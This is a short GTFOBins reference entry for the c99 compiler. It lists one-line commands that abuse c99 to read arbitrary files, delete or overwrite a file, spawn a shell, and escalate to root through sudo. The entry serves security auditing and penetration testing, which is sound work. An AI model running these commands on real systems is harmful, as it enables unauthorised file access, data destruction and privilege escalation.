1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/c99.md

16 lines
327 B
Markdown
Raw Permalink Normal View History

2021-06-04 13:54:33 +02:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
c99 -x c -E "$LFILE"
file-write: # XXX this should be file-delete
- code: |
LFILE=file_to_delete
c99 -xc /dev/null -o $LFILE
shell:
- code: c99 -wrapper /bin/sh,-s .
sudo:
- code: sudo c99 -wrapper /bin/sh,-s .
---